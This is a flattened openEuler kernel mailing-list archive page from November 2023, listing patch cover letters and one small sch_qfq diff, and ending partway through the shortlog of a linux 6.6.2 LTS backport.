From: Liu Jian <liujian56(a)huawei.com> mainline inclusion from mainline-v6.7-rc1 commit 6d25d1dc76bf5943a5c1f4bb74d66d5eac58eb77 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8J4OL Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- A helper function for printing non-work-conserving alarms is added in commit b00355db3f88 ("pkt_sched: sch_hfsc: sch_htb: Add non-work-conserving warning handler."). In this commit, use qdisc_warn_nonwc() instead of WARN_ONCE() to handle the non-work-conserving warning in qfq Qdisc. Signed-off-by: Liu Jian <liujian56(a)huawei.com> Link: https://lore.kernel.org/r/20231023064729.370649-1-liujian56@huawei.com Signed-off-by: Paolo Abeni <pabeni(a)redhat.com> Signed-off-by: Zhengchao Shao <shaozhengchao(a)huawei.com> --- net/sched/sch_qfq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/net/sched/sch_qfq.c b/net/sched/sch_qfq.c index 546c10adcacd..5598f8be18ae 100644 --- a/net/sched/sch_qfq.c +++ b/net/sched/sch_qfq.c @@ -1003,7 +1003,7 @@ static inline struct sk_buff *qfq_peek_skb(struct qfq_aggregate *agg, *cl = list_first_entry(&agg->active, struct qfq_class, alist); skb = (*cl)->qdisc->ops->peek((*cl)->qdisc); if (skb == NULL) - WARN_ONCE(1, "qfq_dequeue: non-workconserving leaf\n"); + qdisc_warn_nonwc("qfq_dequeue", (*cl)->qdisc); else *len = qdisc_pkt_len(skb); -- 2.34.1

2 1

[PATCH OLK-5.10 v6 00/20] introduce smart_grid zone
by Yipeng Zou 24 Nov '23

24 Nov '23

The patch sets include two parts: 1. patch 1~15,20: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v5: 1. Fix race condition in smart_grid_governor_enable. 2. Fix race condition in stop_auto_affinity. 3. Fix some str to int input in smart_grid_level_write. Since v4: 1. Place the highest level task in current domain level itself in sched_grid_prefer_cpus Since v3: 1. fix CI warning Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (5): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control sched: smart grid: cancel affinity timer in lock free arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 232 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 78 ++++ include/linux/cpufreq.h | 11 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/fair.c | 506 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 273 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 21 files changed, 1611 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

1 20

[PATCH OLK-5.10 0/2] Backport crypto bugfix
by Yi Yang 24 Nov '23

24 Nov '23

crypto bugfix and fix kabi broken. Herbert Xu (1): crypto: api - Use work queue in crypto_destroy_instance Yi Yang (1): crypto: fix kabi broken in struct crypto_instance crypto/algapi.c | 29 +++++++++++++++++++++++++++-- include/crypto/algapi.h | 6 ++++++ 2 files changed, 33 insertions(+), 2 deletions(-) -- 2.25.1

2 3

[PATCH openEuler-1.0-LTS 0/2] Backport crypto bugfix
by Yi Yang 24 Nov '23

24 Nov '23

crypto bugfix and fix kabi broken. Herbert Xu (1): crypto: api - Use work queue in crypto_destroy_instance Yi Yang (1): crypto: fix kabi broken in struct crypto_instance crypto/algapi.c | 29 +++++++++++++++++++++++++++-- include/crypto/algapi.h | 5 +++++ 2 files changed, 32 insertions(+), 2 deletions(-) -- 2.25.1

2 3

[PATCH OLK-5.10 00/20] psi irq in cgroupv1 and psi fine grained
by Lu Jialin 24 Nov '23

24 Nov '23

Chen Wandun (3): mm: disable psi cgroup v1 by default mm: add config isolation for psi under cgroup v1 psi: dont alloc memory for psi by default Chengming Zhou (3): sched/psi: Fix periodic aggregation shut off sched/psi: Optimize task switch inside shared cgroups again sched/psi: Add PSI_IRQ to track IRQ/SOFTIRQ pressure Hao Jia (1): sched/psi: Zero the memory of struct psi_group Johannes Weiner (1): sched/psi: Remove NR_ONCPU task accounting Lu Jialin (11): psi: support irq.pressure under cgroup v1 psi: enable CONFIG_PSI_CGROUP_V1 in openeuler_defconfig psi: update psi irqtime when the irq delta is nozero memcg: split async memcg reclaim from reclaim_high psi: add struct psi_group_ext PSI: Introduce fine grained stall time collect for cgroup reclaim PSI: Introduce avgs and total calculation for cgroup reclaim PSI: Introduce pressure.stat in psi PSI: add more memory fine grained stall tracking in pressure.stat add cpu fine grained stall tracking in pressure.stat PSI: enable CONFIG_PSI_FINE_GRAINED in openeuler_defconfig Suren Baghdasaryan (1): psi: Fix "defined but not used" warnings when CONFIG_PROC_FS=n Documentation/admin-guide/cgroup-v2.rst | 6 + arch/arm64/configs/openeuler_defconfig | 2 + arch/x86/configs/openeuler_defconfig | 2 + block/blk-cgroup.c | 2 +- block/blk-core.c | 2 +- include/linux/cgroup-defs.h | 6 +- include/linux/cgroup.h | 2 +- include/linux/psi.h | 9 +- include/linux/psi_types.h | 99 +++- include/linux/sched.h | 4 + init/Kconfig | 20 + kernel/cgroup/cgroup.c | 64 ++- kernel/sched/core.c | 2 + kernel/sched/cpuacct.c | 6 +- kernel/sched/fair.c | 6 - kernel/sched/psi.c | 690 ++++++++++++++++++++---- kernel/sched/stats.h | 9 + mm/compaction.c | 2 +- mm/filemap.c | 4 +- mm/memcontrol.c | 92 ++-- mm/page_alloc.c | 6 + mm/page_io.c | 3 + mm/vmscan.c | 5 +- 23 files changed, 872 insertions(+), 171 deletions(-) -- 2.34.1

2 21

[PATCH OLK-5.10 0/2] Cmdline for ARMv8 Pointer Authentication
by GONG, Ruiqi 24 Nov '23

24 Nov '23

RT. GONG, Ruiqi (1): [Huawei] arm64: add cmdline to control ptrauth feature at boot Srinivas Ramana (1): [Backport] arm64: Defer enabling pointer authentication on boot core arch/arm64/include/asm/pointer_auth.h | 10 +++++ arch/arm64/include/asm/stackprotector.h | 1 + arch/arm64/kernel/cpufeature.c | 54 ++++++++++++++++++++----- arch/arm64/kernel/head.S | 4 -- 4 files changed, 55 insertions(+), 14 deletions(-) -- 2.25.1

2 3

[PATCH OLK-5.10 0/2] Backport crypto bugfix
by Yi Yang 24 Nov '23

24 Nov '23

crypto bugfix and fix kabi broken. Herbert Xu (1): crypto: api - Use work queue in crypto_destroy_instance Yi Yang (1): crypto: fix kabi broken in struct crypto_instance crypto/algapi.c | 29 +++++++++++++++++++++++++++-- include/crypto/algapi.h | 6 ++++++ 2 files changed, 33 insertions(+), 2 deletions(-) -- 2.25.1

2 3

[PATCH OLK-5.10 0/2] Cmdline for ARMv8 Pointer Authentication
by GONG, Ruiqi 24 Nov '23

24 Nov '23

RT. GONG, Ruiqi (1): [Huawei] arm64: add cmdline to control ptrauth feature at boot Srinivas Ramana (1): [Backport] arm64: Defer enabling pointer authentication on boot core arch/arm64/include/asm/pointer_auth.h | 10 +++++ arch/arm64/include/asm/stackprotector.h | 1 + arch/arm64/kernel/cpufeature.c | 54 ++++++++++++++++++++----- arch/arm64/kernel/head.S | 4 -- 4 files changed, 55 insertions(+), 14 deletions(-) -- 2.25.1

2 3

[PATCH OLK-5.10] LoongArch: disable 40bit user space by default
by Hongchen Zhang 24 Nov '23

24 Nov '23

LoongArch inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8IRUM ------------------------------------------ Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/configs/loongson3_defconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/loongarch/configs/loongson3_defconfig b/arch/loongarch/configs/loongson3_defconfig index d2beed31ab74..2f917ae20f76 100644 --- a/arch/loongarch/configs/loongson3_defconfig +++ b/arch/loongarch/configs/loongson3_defconfig @@ -44,6 +44,7 @@ CONFIG_CPU_HAS_LSX=y CONFIG_CPU_HAS_LASX=y CONFIG_NR_CPUS=256 CONFIG_NUMA=y +# CONFIG_VA_BITS_40 is not set CONFIG_KEXEC=y CONFIG_CRASH_DUMP=y CONFIG_PARAVIRT_TIME_ACCOUNTING=y -- 2.33.0

2 1

[PATCH OLK-5.10 0/2] ext4: mitigate cacheline false sharing in struct ext4_inode_info
by Zeng Heng 23 Nov '23

23 Nov '23

Mitigate cacheline false sharing in struct ext4_inode_info Yang Yingliang (2): ext4: mitigatin cacheline false sharing in struct ext4_inode_info enable MITIGATION_FALSE_SHARING by default arch/arm64/configs/openeuler_defconfig | 1 + arch/x86/configs/openeuler_defconfig | 1 + fs/ext4/Kconfig | 9 +++++++++ fs/ext4/ext4.h | 5 +++++ fs/ext4/super.c | 4 ++++ 5 files changed, 20 insertions(+) -- 2.25.1

2 3

[PATCH OLK-5.10 0/2] ext4: mitigate cacheline false sharing in struct ext4_inode_info
by Zeng Heng 23 Nov '23

23 Nov '23

Yang Yingliang (2): ext4: mitigatin cacheline false sharing in struct ext4_inode_info enable MITIGATION_FALSE_SHARING by default arch/arm64/configs/openeuler_defconfig | 1 + arch/x86/configs/openeuler_defconfig | 1 + fs/ext4/Kconfig | 9 +++++++++ fs/ext4/ext4.h | 5 +++++ fs/ext4/super.c | 4 ++++ 5 files changed, 20 insertions(+) -- 2.25.1

2 4

[PATCH openEuler-1.0-LTS 0/2] Backport crypto bugfix
by Yi Yang 23 Nov '23

23 Nov '23

crypto bugfix and fix kabi broken. Herbert Xu (1): crypto: api - Use work queue in crypto_destroy_instance Yi Yang (1): crypto: fix kabi broken in struct crypto_instance crypto/algapi.c | 29 +++++++++++++++++++++++++++-- include/crypto/algapi.h | 5 +++++ 2 files changed, 32 insertions(+), 2 deletions(-) -- 2.25.1

2 3

[PATCH openEuler-1.0-LTS 0/2] Backport crypto bugfix
by Yi Yang 23 Nov '23

23 Nov '23

crypto bugfix and fix kabi broken. Herbert Xu (1): crypto: api - Use work queue in crypto_destroy_instance Yi Yang (1): crypto: fix kabi broken in struct crypto_instance crypto/algapi.c | 29 +++++++++++++++++++++++++++-- include/crypto/algapi.h | 5 +++++ 2 files changed, 32 insertions(+), 2 deletions(-) -- 2.25.1

2 3

[PATCH OLK-5.10 0/2] Backport crypto bugfix
by Yi Yang 23 Nov '23

23 Nov '23

fix crypto bugfix and fix kabi broken. Herbert Xu (1): crypto: api - Use work queue in crypto_destroy_instance Yi Yang (1): crypto: fix kabi broken in struct crypto_instance crypto/algapi.c | 29 +++++++++++++++++++++++++++-- include/crypto/algapi.h | 6 ++++++ 2 files changed, 33 insertions(+), 2 deletions(-) -- 2.25.1

2 3

[PATCH OLK-5.10 0/2] ext4: mitigatin cacheline false sharing in struct ext4_inode_info
by Zeng Heng 23 Nov '23

23 Nov '23

Yang Yingliang (2): ext4: mitigatin cacheline false sharing in struct ext4_inode_info enable MITIGATION_FALSE_SHARING by default arch/arm64/configs/openeuler_defconfig | 1 + arch/x86/configs/openeuler_defconfig | 1 + fs/ext4/Kconfig | 9 +++++++++ fs/ext4/ext4.h | 5 +++++ fs/ext4/super.c | 4 ++++ 5 files changed, 20 insertions(+) -- 2.25.1

2 4

[PATCH OLK-6.6 000/602] Backport linux 6.6.2 LTS patches
by Zheng Zengkai 23 Nov '23

23 Nov '23

Backport linux-6.6.2 LTS patches from upstream. git cherry-pick v6.6.1..v6.6.2~1 -s No conflicts. Aananth V (1): tcp: call tcp_try_undo_recovery when an RTOd TFO SYNACK is ACKed Aaron Plattner (1): objtool: Propagate early errors Abel Vesa (2): clk: imx: Select MXC_CLK for CLK_IMX8QXP regulator: qcom-rpmh: Fix smps4 regulator for pm8550ve Adam Dunlap (1): x86/sev-es: Allow copy_from_kernel_nofault() in earlier boot Adam Ford (3): ARM: dts: am3517-evm: Fix LED3/4 pinmux arm64: dts: imx8mm: Add sound-dai-cells to micfil node arm64: dts: imx8mn: Add sound-dai-cells to micfil node Adam Guerin (1): crypto: qat - enable dc chaining service Adam Skladowski (1): arm64: dts: qcom: msm8976: Fix ipc bit shifts Aditya Gupta (1): powerpc/vmcore: Add MMU information to vmcoreinfo Aditya Kumar Singh (1): wifi: ath11k: fix Tx power value during active CAC Alex Deucher (2): drm/amdgpu/gfx10,11: use memcpy_to/fromio for MQDs drm/amdgpu: don't put MQDs in VRAM on ARM | ARM64 Alexander Aring (4): dlm: fix creating multiple node structures dlm: fix remove member after close call dlm: be sure we reset all nodes at forced shutdown dlm: fix no ack after final message Alexandre Ghiti (2): libbpf: Fix syscall access arguments on riscv drivers: perf: Do not broadcast to other cpus when starting a counter Alison Schofield (5): x86/numa: Introduce numa_fill_memblks() ACPI/NUMA: Apply SRAT proximity domain to entire CFMWS window cxl/region: Prepare the decoder match range helper for reuse cxl/region: Calculate a target position in a region interleave cxl/region: Use cxl_calc_interleave_pos() for auto-discovery Amit Kumar Mahapatra (1): spi: spi-zynq-qspi: add spi-mem to driver kconfig dependencies Andre Przywara (1): clocksource/drivers/arm_arch_timer: limit XGene-1 workaround Andrea Righi (2): module/decompress: use vmalloc() for gzip decompression workspace module/decompress: use kvmalloc() consistently Andrii Staikov (1): i40e: fix potential memory leaks in i40e_remove() Andy Shevchenko (2): ACPI: property: Allow _DSD buffer data only for byte accessors interconnect: qcom: osm-l3: Replace custom implementation of COUNT_ARGS() AngeloGioacchino Del Regno (1): drm: mediatek: mtk_dsi: Fix NO_EOT_PACKET settings/handling Aniruddha Paul (1): ice: Fix VF-VF filter rules in switchdev mode Anuj Gupta (1): nvme: fix error-handling for io_uring nvme-passthrough Anup Patel (2): irqchip/sifive-plic: Fix syscore registration for multi-socket systems RISC-V: Don't fail in riscv_of_parent_hartid() for disabled HARTs Aradhya Bhatia (1): arm64: dts: ti: Fix HDMI Audio overlay in Makefile Armin Wolf (4): platform/x86: wmi: Fix probe failure when failing to register WMI devices platform/x86: wmi: Fix opening of char device hwmon: (sch5627) Use bit macros when accessing the control register hwmon: (sch5627) Disallow write access if virtual registers are locked Arnaldo Carvalho de Melo (1): perf build: Add missing comment about NO_LIBTRACEEVENT=1 Arnd Bergmann (1): fbdev: fsl-diu-fb: mark wr_reg_wa() static Artem Savkov (1): selftests/bpf: Skip module_fentry_shadow test when bpf_testmod is not available Avraham Stern (2): wifi: iwlwifi: mvm: update station's MFP flag after association wifi: iwlwifi: mvm: fix removing pasn station for responder Baochen Qiang (2): wifi: ath12k: fix DMA unmap warning on NULL DMA address wifi: ath11k: fix boot failure with one MSI vector Bard Liao (1): ASoC: Intel: sof_sdw_rt_sdca_jack_common: add rt713 support Bartosz Golaszewski (1): gpio: sim: initialize a managed pointer when declaring it Basavaraj Natikar (1): xhci: Loosen RPM as default policy to cover for AMD xHC 1.1 Ben Wolsieffer (2): futex: Don't include process MM in futex key on no-MMU regmap: prevent noinc writes from clobbering cache Benjamin Gaignard (1): media: verisilicon: Fixes clock list for rk3588 av1 decoder Benjamin Gray (1): powerpc/xive: Fix endian conversion size Biju Das (1): pinctrl: renesas: rzg2l: Make reverse order of enable() for disable() Binbin Wu (1): selftests/x86/lam: Zero out buffer for readlink() Björn Töpel (2): selftests/bpf: Define SYS_PREFIX for riscv selftests/bpf: Define SYS_NANOSLEEP_KPROBE_NAME for riscv Bo Jiao (1): wifi: mt76: fix potential memory leak of beacon commands Brad Griffis (2): arm64: tegra: Fix P3767 card detect polarity arm64: tegra: Fix P3767 QSPI speed Brett Creeley (1): iavf: Fix promiscuous mode configuration flow messages Cezary Rojewski (1): ASoC: Intel: Skylake: Fix mem leak when parsing UUIDs fails Chancel Liu (1): ASoC: soc-pcm.c: Make sure DAI parameters cleared if the DAI becomes inactive Chao Yu (5): f2fs: compress: fix deadloop in f2fs_write_cache_pages() f2fs: compress: fix to avoid use-after-free on dic f2fs: compress: fix to avoid redundant compress extension f2fs: fix to drop meta_inode's page cache in f2fs_put_super() f2fs: fix to initialize map.m_pblk in f2fs_precache_extents() Charles Keepax (1): ASoC: intel: sof_sdw: Stop processing CODECs when enough are found Chen Ni (1): libnvdimm/of_pmem: Use devm_kstrdup instead of kstrdup and check its return value Chen Yu (1): genirq/matrix: Exclude managed interrupts in irq_matrix_allocated() Chen-Yu Tsai (2): regulator: mt6358: Fail probe on unknown chip ID dt-bindings: mfd: mt6397: Split out compatible for MediaTek MT6366 PMIC Chengchang Tang (3): RDMA/hns: Fix printing level of asynchronous events RDMA/hns: Fix uninitialized ucmd in hns_roce_create_qp_common() RDMA/hns: Fix signed-unsigned mixed comparisons Chengming Zhou (1): sched/fair: Fix cfs_rq_is_decayed() on !SMP Chris Packham (1): ARM64: dts: marvell: cn9310: Use appropriate label for spi1 pins Christophe JAILLET (14): wifi: ath: dfs_pattern_detector: Fix a memory initialization issue ACPI: sysfs: Fix create_pnp_modalias() and create_of_modalias() regmap: debugfs: Fix a erroneous check after snprintf() clk: imx: imx8: Fix an error handling path in clk_imx_acm_attach_pm_domains() clk: imx: imx8: Fix an error handling path if devm_clk_hw_register_mux_parent_data_table() fails clk: imx: imx8: Fix an error handling path in imx8_acm_clk_probe() accel/habanalabs/gaudi2: Fix incorrect string length computation in gaudi2_psoc_razwi_get_engines() drm/rockchip: cdn-dp: Fix some error handling paths in cdn_dp_probe() crypto: hisilicon/hpre - Fix a erroneous check after snprintf() fs: dlm: Fix the size of a buffer in dlm_create_debug_file() leds: trigger: ledtrig-cpu:: Fix 'output may be truncated' issue for 'cpu' dmaengine: pxa_dma: Remove an erroneous BUG_ON() in pxad_free_desc() media: i2c: max9286: Fix some redundant of_node_put() calls fs: dlm: Simplify buffer size computation in dlm_create_debug_file() Christophe Leroy (2): powerpc: Only define __parse_fpscr() when required powerpc/40x: Remove stale PTE_ATOMIC_UPDATES macro Claudiu Beznea (5): clk: renesas: rzg2l: Wait for status bit of SD mux before continuing clk: renesas: rzg2l: Lock around writes to mux register clk: renesas: rzg2l: Trust value returned by hardware clk: renesas: rzg2l: Use FIELD_GET() for PLL register fields clk: renesas: rzg2l: Fix computation formula Clément Léger (1): scripts/gdb: fix usage of MOD_TEXT not defined when CONFIG_MODULES=n Colin Ian King (1): rtla: Fix uninitialized variable found Cong Liu (1): drm/amd/display: Fix null pointer dereference in error message Conor Dooley (1): riscv: dts: allwinner: remove address-cells from intc node Cristian Ciocaltea (8): ASoC: cs35l41: Handle mdsync_down reg write errors ASoC: cs35l41: Handle mdsync_up reg write errors ASoC: cs35l41: Initialize completion object before requesting IRQ ASoC: cs35l41: Fix broken shared boost activation ASoC: cs35l41: Verify PM runtime resume errors in IRQ handler ASoC: cs35l41: Undo runtime PM changes at driver exit time ALSA: hda: cs35l41: Fix unbalanced pm_runtime_get() ALSA: hda: cs35l41: Undo runtime PM changes at driver exit time D. Wythe (3): net/smc: fix dangling sock under state SMC_APPFINCLOSEWAIT net/smc: allow cdc msg send rather than drop it with NULL sndbuf_desc net/smc: put sk reference if close work was canceled Dan Carpenter (13): thermal: core: prevent potential string overflow clk: keystone: pll: fix a couple NULL vs IS_ERR() checks clk: ti: fix double free in of_ti_divider_clk_setup() clk: mediatek: fix double free in mtk_clk_register_pllfh() drm/rockchip: Fix type promotion bug in rockchip_gem_iommu_map() PCI: endpoint: Fix double free in __pci_epc_create() dmaengine: ti: edma: handle irq_of_parse_and_map() errors media: ov13b10: Fix some error checking in probe Input: synaptics-rmi4 - fix use after free in rmi_unregister_function() watchdog: marvell_gti_wdt: Fix error code in probe() hsr: Prevent use after free in prp_create_tagged_frame() fbdev: imsttfb: fix double free in probe() fbdev: imsttfb: fix a resource leak in probe Dan Williams (10): cxl/pci: Remove unnecessary device reference management in sanitize work cxl/pci: Cleanup 'sanitize' to always poll cxl/pci: Remove inconsistent usage of dev_err_probe() cxl/pci: Clarify devm host for memdev relative setup cxl/pci: Fix sanitize notifier setup cxl/memdev: Fix sanitize vs decoder setup locking cxl/mem: Fix shutdown order virt: sevguest: Fix passing a stack buffer as a scatterlist target cxl/port: Fix @host confusion in cxl_dport_setup_regs() cxl/hdm: Remove broken error path Daniel Mentz (1): scsi: ufs: core: Leave space for '\0' in utf8 desc string Danila Tikhonov (1): clk: qcom: gcc-sm8150: Fix gcc_sdcc2_apps_clk_src Danny Kaehn (2): hid: cp2112: Fix duplicate workqueue initialization hid: cp2112: Fix IRQ shutdown stopping polling for all IRQs on chip Dario Binacchi (1): ARM: dts: stm32: stm32f7-pinctrl: don't use multiple blank lines Dave Ertman (1): ice: Fix SRIOV LAG disable on non-compliant aggregate David Heidelberg (2): arm64: dts: qcom: sdm845: Fix PSCI power domain names arm64: dts: qcom: sdm845: cheza doesn't support LMh node David Howells (2): iov_iter, x86: Be consistent about the __user tag on copy_mc_to_user() rxrpc: Fix two connection reaping bugs Devi Priya (1): clk: qcom: clk-rcg2: Fix clock rate overflow for high parent frequencies Dhruva Gole (1): firmware: ti_sci: Mark driver as non removable Dinghao Liu (2): mfd: dln2: Fix double put in dln2_probe i3c: Fix potential refcount leak in i3c_master_register_new_i3c_devs Diogo Ivo (1): net: ti: icss-iep: fix setting counter value Dirk Behme (1): clk: renesas: rcar-gen3: Extend SDnH divider table Dmitry Antipov (1): wifi: rtlwifi: fix EDCA limit set by BT coexistence Dmitry Baryshkov (8): drm/bridge: lt9611uxc: fix the race in the error path drm/msm/dsi: use msm_gem_kernel_put to free TX buffer drm/msm/dsi: free TX buffer in unbind arm64: dts: qcom: sc7280: link usb3_phy_wrapper_gcc_usb30_pipe_clk arm64: dts: qcom: sm8150: add ref clock to PCIe PHYs arm64: dts: qcom: sm8350: fix pinctrl for UART18 arm64: dts: qcom: sdm845-mtp: fix WiFi configuration soc: qcom: pmic_glink: fix connector type to be DisplayPort Dominique Martinet (1): Revert "mmc: core: Capture correct oemid-bits for eMMC cards" Doug Berger (1): rtc: brcmstb-waketimer: support level alarm_irq Douglas Anderson (1): drm: Call drm_atomic_helper_shutdown() at shutdown/remove time for misc drivers Dragos Bogdan (1): hwmon: (axi-fan-control) Fix possible NULL pointer dereference Emmanuel Grumbach (1): wifi: iwlwifi: honor the enable_ini value Eric Dumazet (19): udp: introduce udp->udp_flags udp: move udp->no_check6_tx to udp->udp_flags udp: move udp->no_check6_rx to udp->udp_flags udp: move udp->gro_enabled to udp->udp_flags udp: add missing WRITE_ONCE() around up->encap_rcv udp: move udp->accept_udp_{l4|fraglist} to udp->udp_flags udp: lockless UDP_ENCAP_L2TPINUDP / UDP_GRO udp: annotate data-races around udp->encap_type udplite: remove UDPLITE_BIT udplite: fix various data-races tcp_metrics: add missing barriers on delete tcp_metrics: properly set tp->snd_ssthresh in tcp_init_metrics() tcp_metrics: do not create an entry from tcp_init_metrics() chtls: fix tp->rcv_tstamp initialization tcp: fix cookie_init_timestamp() overflows virtio_net: use u64_stats_t infra to avoid data-races net: add DEV_STATS_READ() helper ipvlan: properly track tx_errors inet: shrink struct flowi_common Erik Kurzinger (1): drm/syncobj: fix DRM_SYNCOBJ_WAIT_FLAGS_WAIT_AVAILABLE Eugen Hristev (1): ASoC: mediatek: mt8186_mt6366_rt1019_rt5682s: trivial: fix error messages Fabio Estevam (2): arm64: dts: imx8qm-ss-img: Fix jpegenc compatible entry arm64: dts: imx8mp-debix-model-a: Remove USB hub reset-gpios Fei Shao (1): media: mtk-jpegenc: Fix bug in JPEG encode quality selection Felipe Negrelli Wolter (1): wifi: wfx: fix case where rates are out of order Felix Fietkau (4): wifi: mt76: mt7603: rework/fix rx pse hang check wifi: mt76: mt7603: improve watchdog reset reliablity wifi: mt76: mt7603: improve stuck beacon handling wifi: mt76: remove unused error path in mt76_connac_tx_complete_skb Fenghua Yu (1): dmaengine: idxd: Register dsa_bus_type before registering idxd sub-drivers Filipe Manana (1): btrfs: use u64 for buffer sizes in the tree search ioctls Filippo Storniolo (1): vsock/virtio: remove socket from connected/bound list on shutdown Florent Revest (1): kselftest: vm: fix mdwe's mmap_FIXED test case Florian Fainelli (1): pwm: brcmstb: Utilize appropriate clock APIs in suspend/resume Florian Westphal (1): netfilter: nat: fix ipv6 nat redirect with mapped and scoped addresses Francesco Dolcini (1): arm64: dts: ti: verdin-am62: disable MIPI DSI bridge Frederic Weisbecker (1): srcu: Fix callbacks acceleration mishandling Furong Xu (1): net: stmmac: xgmac: Enable support for multiple Flexible PPS outputs Gabriel Krisman Bertazi (2): io_uring/kbuf: Fix check of BID wrapping in provided buffers io_uring/kbuf: Allow the full buffer id space for provided buffers Gao Xiang (1): erofs: fix erofs_insert_workgroup() lockref usage Gaurav Jain (2): crypto: caam/qi2 - fix Chacha20 + Poly1305 self test failure crypto: caam/jr - fix Chacha20 + Poly1305 self test failure Gaurav Kohli (2): arm64: dts: qcom: msm8916: Fix iommu local address range arm64: dts: qcom: msm8939: Fix iommu local address range Geert Uytterhoeven (4): drm/ssd130x: Fix screen clearing ARM: dts: renesas: blanche: Fix typo in GP_11_2 pin name sh: bios: Revive earlyprintk support riscv: boot: Fix creation of loader.bin Geetha sowjanya (1): octeontx2-pf: Free pending and dropped SQEs Geliang Tang (2): selftests: mptcp: run userspace pm tests slower selftests: mptcp: fix wait_rm_addr/sf parameters George Kennedy (1): IB/mlx5: Fix init stage error handling to avoid double free of same QP and UAF George Shuklin (1): tg3: power down device only on SYSTEM_POWER_OFF Georgia Garcia (1): apparmor: fix invalid reference on profile->disconnected Giovanni Cabiddu (10): crypto: qat - fix state machines cleanup paths crypto: qat - ignore subsequent state up commands crypto: qat - fix unregistration of crypto algorithms crypto: qat - fix unregistration of compression algorithms crypto: qat - increase size of buffers crypto: qat - consolidate services structure crypto: qat - refactor fw config related functions crypto: qat - use masks for AE groups crypto: qat - fix ring to service map for QAT GEN4 crypto: qat - fix deadlock in backlog processing Gou Hao (1): ext4: move 'ix' sanity check to corrent position Guenter Roeck (2): Revert "hwmon: (sch56xx-common) Add DMI override table" Revert "hwmon: (sch56xx-common) Add automatic module loading on supported devices" Guoniu.zhou (1): media: ov5640: fix vblank unchange issue when work at dvp mode Gustavo A. R. Silva (7): gve: Use size_add() in call to struct_size() mlxsw: Use size_mul() in call to struct_size() tls: Use size_add() in call to struct_size() tipc: Use size_add() in calls to struct_size() net: spider_net: Use size_add() in call to struct_size() RDMA/core: Use size_{add,sub,mul}() in calls to struct_size() ASoC: SOF: ipc4-topology: Use size_add() in call to struct_size() Han Xu (1): spi: nxp-fspi: use the correct ioremap function Hangbin Liu (1): selftests: pmtu.sh: fix result checking Hangyu Hua (1): 9p/net: fix possible memory leak in p9_check_errors() Hans Verkuil (1): media: dvb-usb-v2: af9035: fix missing unlock Hans de Goede (4): HID: logitech-hidpp: Don't restart IO, instead defer hid_connect() only HID: logitech-hidpp: Revert "Don't restart communication if not necessary" HID: logitech-hidpp: Move get_wireless_feature_index() check to hidpp_connect_event() mfd: arizona-spi: Set pdata.hpdet_channel for ACPI enumerated devs Hao Chen (1): drivers/perf: hisi: use cpuhp_state_remove_instance_nocalls() for hisi_hns3_pmu uninit process Harald Freudenberger (1): s390/ap: re-init AP queues on config on Haren Myneni (1): powerpc/vas: Limit open window failure messages in log bufffer Harshit Mogalapalli (2): hte: tegra: Fix missing error code in tegra_hte_test_probe() drm/loongson: Fix error handling in lsdc_pixel_pll_setup() Harshitha Prem (1): wifi: ath12k: fix undefined behavior with __fls in dp Hayes Wang (1): r8152: break the loop when the budget is exhausted Heiner Kallweit (3): r8169: fix rare issue with broken rx after link-down on RTL8125 r8169: respect userspace disabling IFF_MULTICAST Revert "PCI/ASPM: Disable only ASPM_STATE_L1 when driver, disables L1" Heng Qi (4): virtio-net: fix mismatch of getting tx-frames virtio-net: consistently save parameters for per-queue virtio-net: fix per queue coalescing parameter setting virtio-net: fix the vq coalescing setting for vq resize Herbert Xu (2): KEYS: Include linux/errno.h in linux/verification.h certs: Break circular dependency when selftest is modular Herve Codina (1): mfd: core: Ensure disabled devices are skipped without aborting Hou Tao (1): bpf: Check map->usercnt after timer->timer is assigned Howard Hsu (2): wifi: mt76: mt7996: fix beamform mcu cmd configuration wifi: mt76: mt7996: fix beamformee ss subfield in EHT PHY cap Hui Wang (1): ASoC: fsl-asoc-card: Add comment for mclk in the codec_priv Ian Rogers (9): perf stat: Fix aggr mode initialization perf parse-events: Fix tracepoint name memory leak perf parse-events: Fix for term values that are raw events perf mem-events: Avoid uninitialized read perf machine: Avoid out of bounds LBR memory read libperf rc_check: Make implicit enabling work for GCC perf hist: Add missing puts to hist__account_cycles perf vendor events intel: Fix broadwellde tma_info_system_dram_bw_use metric perf vendor events intel: Add broadwellde two metrics Ilan Peer (4): wifi: 